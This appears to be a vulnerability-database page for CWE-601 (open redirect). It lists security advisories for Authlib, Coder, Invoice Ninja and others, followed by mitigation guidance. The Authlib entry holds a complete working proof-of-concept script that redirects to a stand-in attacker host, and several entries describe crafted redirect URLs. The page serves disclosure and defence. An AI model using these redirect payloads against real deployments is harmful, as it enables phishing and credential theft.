CWE-601
AllowedURL Redirection to Untrusted Site ('Open Redirect')
Abstraction: Base · Status: Draft
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.
2422 vulnerabilities reference this CWE, most recent first.
GHSA-W8P2-R796-3VMQ
Vulnerability from github – Published: 2026-06-08 17:52 – Updated: 2026-07-18 17:25Summary
Authlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.
The vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.
It was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.
Details
The root cause is that AuthorizationServer.get_authorization_grant() copies the raw request
redirect_uri into an UnsupportedResponseTypeError before any client has been resolved and
before any redirect URI validation has happened:
```python # authlib/oauth2/rfc6749/authorization_server.py raise UnsupportedResponseTypeError( f"The response type '{request.payload.response_type}' is not supported by the server.", request.payload.response_type, redirect_uri=request.payload.redirect_uri, )
That error object is later rendered by OAuth2Error.call(). If redirect_uri is set, Authlib automatically returns a redirect response to that URI:
# authlib/oauth2/base.py def call(self, uri=None): if self.redirect_uri: params = self.get_body() loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment) return 302, "", [("Location", loc)] return super().call(uri=uri)
This means an unsupported response_type request can force the authorization server to redirect to an attacker-controlled URL even when:
- no valid client exists,
- no grant matched the request,
- no registered redirect_uri was ever checked.
This is not a contrived code path. It is reachable through the normal Authlib authorization endpoint flow documented for Flask and Django integrations, where applications are told to call server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.
Relevant source and documentation references:
- authlib/oauth2/rfc6749/authorization_server.py
- authlib/oauth2/base.py
- docs/flask/2/authorization-server.rst
- docs/django/2/authorization-server.rst
### PoC
Local test environment:
- Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1
- git describe: v1.6.6-104-g68e6ab3f
- Python virtualenv: ./.venv
- Environment variable: AUTHLIB_INSECURE_TRANSPORT=true
Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction. It does not create the vulnerable behavior. In a real deployment the same logic is reachable over HTTPS.
Run this exact PoC from the repository root:
export AUTHLIB_INSECURE_TRANSPORT=true ./.venv/bin/python - <<'PY' import os, json from flask import Flask, request from authlib.integrations.flask_oauth2 import AuthorizationServer from authlib.oauth2 import OAuth2Error from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant
os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true"
class AuthorizationCodeGrant(_AuthorizationCodeGrant): def save_authorization_code(self, code, request): raise RuntimeError("not reached") def query_authorization_code(self, code, client): return None def delete_authorization_code(self, authorization_code): pass def authenticate_user(self, authorization_code): return None
app = Flask(name) app.secret_key = "testing"
server = AuthorizationServer( app, query_client=lambda client_id: None, save_token=lambda token, request: None, ) server.register_grant(AuthorizationCodeGrant)
@app.route("/oauth/authorize", methods=["GET", "POST"]) def authorize(): try: grant = server.get_consent_grant(end_user=None) except OAuth2Error as error: return server.handle_error_response(request, error) return server.create_authorization_response(grant=grant, grant_user=None)
with app.test_client() as c: cases = { "without_redirect_uri": "/oauth/authorize?response_type=totally-unsupported&state=s1", "with_attacker_redirect_uri": "/oauth/authorize?response_type=totally- unsupported&redirect_uri=https%3A%2F%2Fevil.example%2Flanding&state=s1", } out = {} for name, url in cases.items(): r = c.get(url) out[name] = { "status": r.status_code, "location": r.headers.get("Location"), "body": r.get_data(as_text=True), } print(json.dumps(out, indent=2)) PY
Observed result:
{
"without_redirect_uri": {
"status": 400,
"location": null,
"body": "{\"error\": \"unsupported_response_type\", \"error_description\": \"totally-
unsupported\", \"state\": \"s1\"}"
},
"with_attacker_redirect_uri": {
"status": 302,
"location":
"https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1",
"body": ""
}
}
This demonstrates that the only difference between a local error and an external redirect is whether the attacker supplies redirect_uri.
The same behavior was locally reproduced with the Django integration using RequestFactory; it returned:
{
"status": 302,
"location":
"https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1",
"body": ""
}
Impact
This is an unauthenticated open redirect in an internet-facing authorization endpoint.
Who is impacted:
- Any deployment using Authlib's OAuth 2.0 authorization server and the documented authorization endpoint flow.
- No special feature flag is required beyond running the authorization endpoint itself.
Attacker prerequisites:
- None beyond the ability to send a victim to a crafted authorization URL.
Practical harm:
- Phishing and credential theft by abusing a trusted authorization server domain as a redirector.
- Bypass of domain-based allowlists that trust the authorization server's host.
- SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to reject unregistered redirect URIs before redirecting.
The issue is especially concerning because the redirect happens before client existence and redirect URI legitimacy are established.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "authlib"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "authlib"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0"
},
{
"fixed": "1.7.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.7.0"
]
}
],
"aliases": [
"CVE-2026-41479"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T17:52:04Z",
"nvd_published_at": "2026-06-22T21:16:24Z",
"severity": "MODERATE"
},
"details": "### Summary\nAuthlib\u0027s OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.\n\nThe vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.\n\nIt was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.\n\n### Details\nThe root cause is that `AuthorizationServer.get_authorization_grant()` copies the raw request\n `redirect_uri` into an `UnsupportedResponseTypeError` before any client has been resolved and\n before any redirect URI validation has happened:\n\n ```python\n # authlib/oauth2/rfc6749/authorization_server.py\n raise UnsupportedResponseTypeError(\n f\"The response type \u0027{request.payload.response_type}\u0027 is not supported by the server.\",\n request.payload.response_type,\n redirect_uri=request.payload.redirect_uri,\n )\n\n That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib\n automatically returns a redirect response to that URI:\n\n # authlib/oauth2/base.py\n def __call__(self, uri=None):\n if self.redirect_uri:\n params = self.get_body()\n loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)\n return 302, \"\", [(\"Location\", loc)]\n return super().__call__(uri=uri)\n\n This means an unsupported response_type request can force the authorization server to redirect\n to an attacker-controlled URL even when:\n\n 1. no valid client exists,\n 2. no grant matched the request,\n 3. no registered redirect_uri was ever checked.\n\n This is not a contrived code path. It is reachable through the normal Authlib authorization\n endpoint flow documented for Flask and Django integrations, where applications are told to call\n server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.\n\n Relevant source and documentation references:\n\n - authlib/oauth2/rfc6749/authorization_server.py\n - authlib/oauth2/base.py\n - docs/flask/2/authorization-server.rst\n - docs/django/2/authorization-server.rst\n\n ### PoC\n\n Local test environment:\n\n - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1\n - git describe: v1.6.6-104-g68e6ab3f\n - Python virtualenv: ./.venv\n - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true\n\n Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.\n It does not create the vulnerable behavior. In a real deployment the same logic is reachable\n over HTTPS.\n\n Run this exact PoC from the repository root:\n\n export AUTHLIB_INSECURE_TRANSPORT=true\n ./.venv/bin/python - \u003c\u003c\u0027PY\u0027\n import os, json\n from flask import Flask, request\n from authlib.integrations.flask_oauth2 import AuthorizationServer\n from authlib.oauth2 import OAuth2Error\n from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant\n\n os.environ[\"AUTHLIB_INSECURE_TRANSPORT\"] = \"true\"\n\n class AuthorizationCodeGrant(_AuthorizationCodeGrant):\n def save_authorization_code(self, code, request):\n raise RuntimeError(\"not reached\")\n def query_authorization_code(self, code, client):\n return None\n def delete_authorization_code(self, authorization_code):\n pass\n def authenticate_user(self, authorization_code):\n return None\n\n app = Flask(__name__)\n app.secret_key = \"testing\"\n\n server = AuthorizationServer(\n app,\n query_client=lambda client_id: None,\n save_token=lambda token, request: None,\n )\n server.register_grant(AuthorizationCodeGrant)\n\n @app.route(\"/oauth/authorize\", methods=[\"GET\", \"POST\"])\n def authorize():\n try:\n grant = server.get_consent_grant(end_user=None)\n except OAuth2Error as error:\n return server.handle_error_response(request, error)\n return server.create_authorization_response(grant=grant, grant_user=None)\n\n with app.test_client() as c:\n cases = {\n \"without_redirect_uri\": \"/oauth/authorize?response_type=totally-unsupported\u0026state=s1\",\n \"with_attacker_redirect_uri\": \"/oauth/authorize?response_type=totally-\n unsupported\u0026redirect_uri=https%3A%2F%2Fevil.example%2Flanding\u0026state=s1\",\n }\n out = {}\n for name, url in cases.items():\n r = c.get(url)\n out[name] = {\n \"status\": r.status_code,\n \"location\": r.headers.get(\"Location\"),\n \"body\": r.get_data(as_text=True),\n }\n print(json.dumps(out, indent=2))\n PY\n\n Observed result:\n\n {\n \"without_redirect_uri\": {\n \"status\": 400,\n \"location\": null,\n \"body\": \"{\\\"error\\\": \\\"unsupported_response_type\\\", \\\"error_description\\\": \\\"totally-\n unsupported\\\", \\\"state\\\": \\\"s1\\\"}\"\n },\n \"with_attacker_redirect_uri\": {\n \"status\": 302,\n \"location\":\n \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\", \n \"body\": \"\"\n }\n }\n\n This demonstrates that the only difference between a local error and an external redirect is\n whether the attacker supplies redirect_uri.\n\n The same behavior was locally reproduced with the Django integration using RequestFactory; it\n returned:\n\n {\n \"status\": 302,\n \"location\":\n \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\", \n \"body\": \"\"\n }\n\n### Impact\n This is an unauthenticated open redirect in an internet-facing authorization endpoint.\n\n Who is impacted:\n\n - Any deployment using Authlib\u0027s OAuth 2.0 authorization server and the documented authorization\n endpoint flow.\n - No special feature flag is required beyond running the authorization endpoint itself.\n\n Attacker prerequisites:\n\n - None beyond the ability to send a victim to a crafted authorization URL.\n\n Practical harm:\n\n - Phishing and credential theft by abusing a trusted authorization server domain as a\n redirector.\n - Bypass of domain-based allowlists that trust the authorization server\u0027s host.\n - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to\n reject unregistered redirect URIs before redirecting.\n\n The issue is especially concerning because the redirect happens before client existence and\n redirect URI legitimacy are established.",
"id": "GHSA-w8p2-r796-3vmq",
"modified": "2026-07-18T17:25:18Z",
"published": "2026-06-08T17:52:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-w8p2-r796-3vmq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41479"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/commit/3be08468201a7766a93012ce149ea12822cab096"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/authlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-2119.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type"
}
GHSA-W8VP-Q672-4HXV
Vulnerability from github – Published: 2024-12-27 18:30 – Updated: 2024-12-27 18:30A vulnerability was found in ruifang-tech Rebuild 3.8.6. It has been classified as problematic. This affects an unknown part of the file /user/admin-verify of the component Admin Verification Page. The manipulation of the argument nexturl with the input http://localhost/evil.html leads to open redirect. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-12990"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-27T18:15:25Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in ruifang-tech Rebuild 3.8.6. It has been classified as problematic. This affects an unknown part of the file /user/admin-verify of the component Admin Verification Page. The manipulation of the argument nexturl with the input http://localhost/evil.html leads to open redirect. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-w8vp-q672-4hxv",
"modified": "2024-12-27T18:30:26Z",
"published": "2024-12-27T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12990"
},
{
"type": "WEB",
"url": "https://github.com/cydtseng/Vulnerability-Research/blob/main/rebuild/OpenRedirect-AdminVerification.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.289383"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.289383"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.464029"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W9JR-G766-PF8C
Vulnerability from github – Published: 2024-04-11 21:30 – Updated: 2024-11-14 21:31Open Redirect vulnerability in Corezoid Process Engine v6.5.0 allows attackers to redirect to arbitrary websites via appending a crafted link to /login/ in the login page URL.
{
"affected": [],
"aliases": [
"CVE-2024-27592"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-11T21:15:08Z",
"severity": "MODERATE"
},
"details": "Open Redirect vulnerability in Corezoid Process Engine v6.5.0 allows attackers to redirect to arbitrary websites via appending a crafted link to /login/ in the login page URL.",
"id": "GHSA-w9jr-g766-pf8c",
"modified": "2024-11-14T21:31:57Z",
"published": "2024-04-11T21:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27592"
},
{
"type": "WEB",
"url": "https://github.com/corezoid/helm/issues/110"
},
{
"type": "WEB",
"url": "https://medium.com/%40nicatabbasov00002/open-redirect-vulnerability-62986ccaf0f7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-W9XP-3H5F-W38F
Vulnerability from github – Published: 2022-05-14 01:59 – Updated: 2022-05-14 01:59An issue was discovered in Creme CRM 1.6.12. The value of the cancel button uses the content of the HTTP Referer header, and could be used to trick a user into visiting a fake login page in order to steal credentials.
{
"affected": [],
"aliases": [
"CVE-2018-14398"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-07T22:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Creme CRM 1.6.12. The value of the cancel button uses the content of the HTTP Referer header, and could be used to trick a user into visiting a fake login page in order to steal credentials.",
"id": "GHSA-w9xp-3h5f-w38f",
"modified": "2022-05-14T01:59:37Z",
"published": "2022-05-14T01:59:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14398"
},
{
"type": "WEB",
"url": "https://www.bishopfox.com/news/2018/08/cremecrm-1-6-12-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WC79-HVVX-2QPW
Vulnerability from github – Published: 2022-04-21 01:57 – Updated: 2022-04-21 01:57It was found in vanilla forums before 2.0.10 a potential linkbait vulnerability in dispatcher.
{
"affected": [],
"aliases": [
"CVE-2010-4266"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-22T14:15:00Z",
"severity": "MODERATE"
},
"details": "It was found in vanilla forums before 2.0.10 a potential linkbait vulnerability in dispatcher.",
"id": "GHSA-wc79-hvvx-2qpw",
"modified": "2022-04-21T01:57:54Z",
"published": "2022-04-21T01:57:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4266"
},
{
"type": "WEB",
"url": "https://open.vanillaforums.com/discussion/13119/vanilla-2.0.10-released/p1"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WCFJ-VVVG-4X96
Vulnerability from github – Published: 2026-05-29 21:31 – Updated: 2026-05-29 21:31In JetBrains TeamCity before 2026.1 open redirect in the SAML plugin was possible
{
"affected": [],
"aliases": [
"CVE-2026-49380"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-29T19:16:27Z",
"severity": "LOW"
},
"details": "In JetBrains TeamCity before 2026.1 open redirect in the SAML plugin was possible",
"id": "GHSA-wcfj-vvvg-4x96",
"modified": "2026-05-29T21:31:23Z",
"published": "2026-05-29T21:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49380"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WCJX-7QFJ-3C4V
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 00:34Invoice Ninja through 5.13.26 contains an open redirect vulnerability in the client portal login that allows unauthenticated attackers to redirect authenticated victims to attacker-controlled external URLs by injecting a malicious value into the intended query parameter. Attackers can craft a client login link with an external URL in the intended parameter, which is stored in the session without host validation and emitted verbatim via a bare redirect in the ContactLoginController authenticated() handler after the victim completes a legitimate login, enabling phishing attacks.
{
"affected": [],
"aliases": [
"CVE-2026-58450"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T22:16:58Z",
"severity": "MODERATE"
},
"details": "Invoice Ninja through 5.13.26 contains an open redirect vulnerability in the client portal login that allows unauthenticated attackers to redirect authenticated victims to attacker-controlled external URLs by injecting a malicious value into the intended query parameter. Attackers can craft a client login link with an external URL in the intended parameter, which is stored in the session without host validation and emitted verbatim via a bare redirect in the ContactLoginController authenticated() handler after the victim completes a legitimate login, enabling phishing attacks.",
"id": "GHSA-wcjx-7qfj-3c4v",
"modified": "2026-07-01T00:34:01Z",
"published": "2026-07-01T00:34:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58450"
},
{
"type": "WEB",
"url": "https://github.com/invoiceninja/invoiceninja/issues/12039"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/invoice-ninja-open-redirect-in-client-portal-login-via-intended-parameter"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WCQ4-5C3J-FPMJ
Vulnerability from github – Published: 2026-08-07 12:32 – Updated: 2026-08-07 12:32Tobit Laboratories AG TeamDavid's Webbox contains an open redirect vulnerability via the “replyUrl” parameter. An attacker can exploit this vulnerability to craft a URL within the application that, when visited, redirects the user’s browser to an arbitrary third-party site. This can be abused for phishing attacks, where users receive a trusted domain link but are redirected to a phishing website. This issue affects TeamDavid through Rollout 524.
{
"affected": [],
"aliases": [
"CVE-2026-54215"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-07T10:16:58Z",
"severity": "MODERATE"
},
"details": "Tobit Laboratories AG TeamDavid\u0027s Webbox contains an open redirect vulnerability via the \n\u201creplyUrl\u201d parameter. An attacker can exploit this vulnerability to \ncraft a URL within the application that, when visited, redirects the \nuser\u2019s browser to an arbitrary third-party site. This can be abused for \nphishing attacks, where users receive a trusted domain link but are \nredirected to a phishing website.\u00a0This issue affects TeamDavid through Rollout 524.",
"id": "GHSA-wcq4-5c3j-fpmj",
"modified": "2026-08-07T12:32:00Z",
"published": "2026-08-07T12:32:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54215"
},
{
"type": "WEB",
"url": "https://david.tobit.software/releasenotes"
},
{
"type": "WEB",
"url": "https://labs.infoguard.ch/posts/22-cves-in-david-a-secure-m365-alternative"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WCX9-CCPJ-HX3C
Vulnerability from github – Published: 2024-10-28 18:31 – Updated: 2024-10-30 18:50Summary
An issue on Coder's login page allows attackers to craft a Coder URL that when clicked by a logged in user could redirect them to a website the attacker controls, e.g. https://google.com.
Details
On the login page, Coder checks for the presence of a redirect query parameter. On successful login, the user would be redirected to the location of the parameter. Improper sanitization allows attackers to specify a URL outside of the Coder application to redirect users to.
Impact
Coder users could potentially be redirected to a untrusted website if tricked into clicking a URL crafted by the attacker. Coder authentication tokens are not leaked to the resulting website.
To check if your deployment is vulnerable, visit the following URL for your Coder deployment:
- https://<coder url>/login?redirect=https%3A%2F%2Fcoder.com%2Fdocs
Patched Versions
This vulnerability is remedied in - v2.16.1 - v2.15.3 - v2.14.4
All versions prior to 2.3.1 are not affected.
Thanks
- https://github.com/jchristov
References
https://github.com/coder/coder/security/advisories/GHSA-wcx9-ccpj-hx3c https://github.com/coder/coder/commit/69c1d981e3131e50d52b01f6a360abadaad699e6
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.16.0"
},
{
"fixed": "2.16.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.16.0"
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.15.0"
},
{
"fixed": "2.15.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.1"
},
{
"fixed": "2.14.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-28T18:31:57Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nAn issue on Coder\u0027s login page allows attackers to craft a Coder URL that when clicked by a logged in user could redirect them to a website the attacker controls, e.g. https://google.com.\n\n### Details\nOn the login page, Coder checks for the presence of a `redirect` query parameter. On successful login, the user would be redirected to the location of the parameter. Improper sanitization allows attackers to specify a URL outside of the Coder application to redirect users to.\n\n### Impact\nCoder users could potentially be redirected to a untrusted website if tricked into clicking a URL crafted by the attacker. Coder authentication tokens are **not** leaked to the resulting website.\n\nTo check if your deployment is vulnerable, visit the following URL for your Coder deployment:\n- `https://\u003ccoder url\u003e/login?redirect=https%3A%2F%2Fcoder.com%2Fdocs`\n\n### Patched Versions\nThis vulnerability is remedied in\n- v2.16.1\n- v2.15.3\n- v2.14.4\n\nAll versions prior to 2.3.1 are not affected.\n\n### Thanks\n- https://github.com/jchristov\n\n### References\nhttps://github.com/coder/coder/security/advisories/GHSA-wcx9-ccpj-hx3c\nhttps://github.com/coder/coder/commit/69c1d981e3131e50d52b01f6a360abadaad699e6",
"id": "GHSA-wcx9-ccpj-hx3c",
"modified": "2024-10-30T18:50:39Z",
"published": "2024-10-28T18:31:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coder/coder/security/advisories/GHSA-wcx9-ccpj-hx3c"
},
{
"type": "WEB",
"url": "https://github.com/coder/coder/commit/69c1d981e3131e50d52b01f6a360abadaad699e6"
},
{
"type": "PACKAGE",
"url": "https://github.com/coder/coder"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Coder vulnerable to post-auth URL redirection to untrusted site (\u0027Open Redirect\u0027)"
}
GHSA-WF2Q-62VR-Q7GV
Vulnerability from github – Published: 2025-01-27 21:30 – Updated: 2025-01-28 21:31An issue in Tencent Technology (Shenzhen) Company Limited QQMail iOS 6.6.4 allows attackers to access sensitive user information via supplying a crafted link.
{
"affected": [],
"aliases": [
"CVE-2024-56955"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-27T19:15:17Z",
"severity": "MODERATE"
},
"details": "An issue in Tencent Technology (Shenzhen) Company Limited QQMail iOS 6.6.4 allows attackers to access sensitive user information via supplying a crafted link.",
"id": "GHSA-wf2q-62vr-q7gv",
"modified": "2025-01-28T21:31:02Z",
"published": "2025-01-27T21:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56955"
},
{
"type": "WEB",
"url": "https://github.com/ZhouZiyi1/Vuls/blob/main/241220-QQMail/241220-QQMail.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Use a list of approved URLs or domains to be used for redirection.
Mitigation
Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.
Mitigation MIT-21.2
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Mitigation
Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).
Mitigation MIT-6
Strategy: Attack Surface Reduction
- Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
